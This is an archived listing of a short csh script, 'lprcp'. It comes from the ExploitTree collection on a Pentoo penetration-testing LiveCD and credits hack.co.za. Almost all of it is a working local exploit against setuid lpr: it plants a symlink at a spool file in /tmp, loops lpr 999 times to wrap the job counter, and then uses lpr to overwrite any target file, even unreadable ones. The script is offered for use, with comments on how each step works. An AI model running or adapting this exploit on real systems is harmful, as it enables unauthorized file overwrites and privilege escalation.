home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpr01.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  728b  |  26 lines

  1. #!/bin/csh -f
  2. #
  3. # Usage: lprcp from-file to-file
  4. #
  5.  
  6. if ($#argv != 2) then
  7.     echo Usage: lprcp from-file to-file
  8.     exit 1
  9. endif
  10. # This link stuff allows us to overwrite unreadable files,
  11. # should we want to.
  12. echo x > /tmp/.tmp.$$
  13. lpr -q -s /tmp/.tmp.$$
  14. rm -f /tmp/.tmp.$$         # lpr's accepted it, point it
  15. ln -s $2 /tmp/.tmp.$$         # to where we really want
  16. @ s = 0
  17. while ( $s != 999)           # loop 999 times
  18.     lpr /nofile >&/dev/null  # doesn't exist, but spins the clock!
  19.     @ s++
  20.     if ( $s % 10 == 0 ) echo -n .
  21. end
  22. lpr $1                       # incoming file
  23.                              # user becomes owner
  24. rm -f /tmp/.tmp.$$
  25. exit 0
  26. #                 www.hack.co.za           [2000]#